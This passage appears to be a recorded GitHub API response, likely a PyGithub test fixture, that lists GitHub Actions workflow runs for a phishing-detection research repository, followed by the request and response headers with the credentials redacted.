main","timestamp":"2020-09-29T08:25:02Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":278206087,"node_id":"MDExOldvcmtmbG93UnVuMjc4MjA2MDg3","head_branch":"url_input_tqdm","head_sha":"7603c94f2df3708cb7891b5b44d2bc78dddfb5a5","run_number":263,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1260124708,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjYwMTI0NzA4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278206087","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/278206087","pull_requests":[],"created_at":"2020-09-29T08:56:14Z","updated_at":"2020-09-29T08:58:51Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278206087/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278206087/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1260124708","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278206087/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278206087/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278206087/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"7603c94f2df3708cb7891b5b44d2bc78dddfb5a5","tree_id":"00bfe3292112a4f36fb599cf3a130e027ca5fe80","message":"Added message to input","timestamp":"2020-09-29T08:55:33Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":278093538,"node_id":"MDExOldvcmtmbG93UnVuMjc4MDkzNTM4","head_branch":"create_new_features","head_sha":"04880130a1150ee8d626de0fb3a4883e988ef55e","run_number":262,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1259757006,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5NzU3MDA2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/278093538","pull_requests":[],"created_at":"2020-09-29T07:34:13Z","updated_at":"2020-09-29T07:36:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259757006","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"04880130a1150ee8d626de0fb3a4883e988ef55e","tree_id":"5b86fe3384b9e5965c2ff737a9bbdb2649ef46e9","message":"Fix lint errors","timestamp":"2020-09-29T07:34:03Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs?status=failure {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"054d1c3aa84ef0211931eb8e2309360a2966f35e3e03298537575d07bd9af1ad"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '95'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F151:7434:94025:FA6E5:5F987CA1')] 